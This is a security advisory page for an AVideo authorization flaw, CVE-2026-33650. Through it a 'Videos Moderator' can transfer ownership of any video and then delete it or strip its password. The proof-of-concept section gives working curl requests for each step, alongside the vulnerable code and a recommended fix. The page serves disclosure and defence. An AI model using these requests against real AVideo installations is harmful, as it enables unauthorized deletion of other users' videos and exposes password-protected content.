Skip to content

GHSA-8x77-f38v-4m5j CVE-2026-33650

AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion

High Packagist
Severity
7.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.69% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
None yet
No fixed version published

Description

Summary

A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.

Details

The PERMISSION_INACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:

$permissions[] = new PluginPermissionOption(
    Permissions::PERMISSION_INACTIVATEVIDEOS, 
    __('Videos Moderator'), 
    __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 
    'Permissions'
);

However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:

1. Upload gate bypass (videoAddNew.json.php:10): User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.

2. Edit gate bypass (videoAddNew.json.php:19):

if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
    die('{"error":"2 ' . __("Permission denied") . '"}');
}

Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.

3. Ownership transfer (videoAddNew.json.php:222):

if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || 
    Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
    $obj->setUsers_id($_POST['users_id']);
}

userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.

4. Delete via ownership (videoDelete.json.php:22-28):

if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
    if (!$video->userCanManageVideo()) {
        // denied
    }
}
$id = $video->delete();

userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.

The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.

Additional fields a moderator can modify beyond their intended scope:

  • only_for_paid (line 210) — make premium content free
  • video_password (line 211) — change/remove password protection
  • categories_id (line 168) — alter content categorization
  • videoGroups (line 175) — modify user group visibility

PoC

Prerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.

Step 1: Transfer ownership of target video to attacker

# ATTACKER_USER_ID = moderator's user ID
# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"

Expected response: {"status":true, ...} — ownership is now transferred to the attacker.

Step 2: Delete the video (now owned by attacker)

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoDelete.json.php' \
  -d "id[]=TARGET_VIDEO_ID"

Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.

Step 3 (additional impact): Access password-protected video

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"

This removes the video password, granting the moderator (and everyone) access to previously protected content.

Impact

  • Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.
  • Content tampering: Moderator can change paid content flags (only_for_paid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity."
  • Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content.
  • Integrity loss: Video ownership records are corrupted, making audit trails unreliable.
  • Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.

The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.

Recommended Fix

Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.

Fix for ownership transfer (videoAddNew.json.php:222):

// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...

// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...

Fix for edit gate (videoAddNew.json.php:19):

// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {

// After (fixed): 
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {

Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 7.6

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor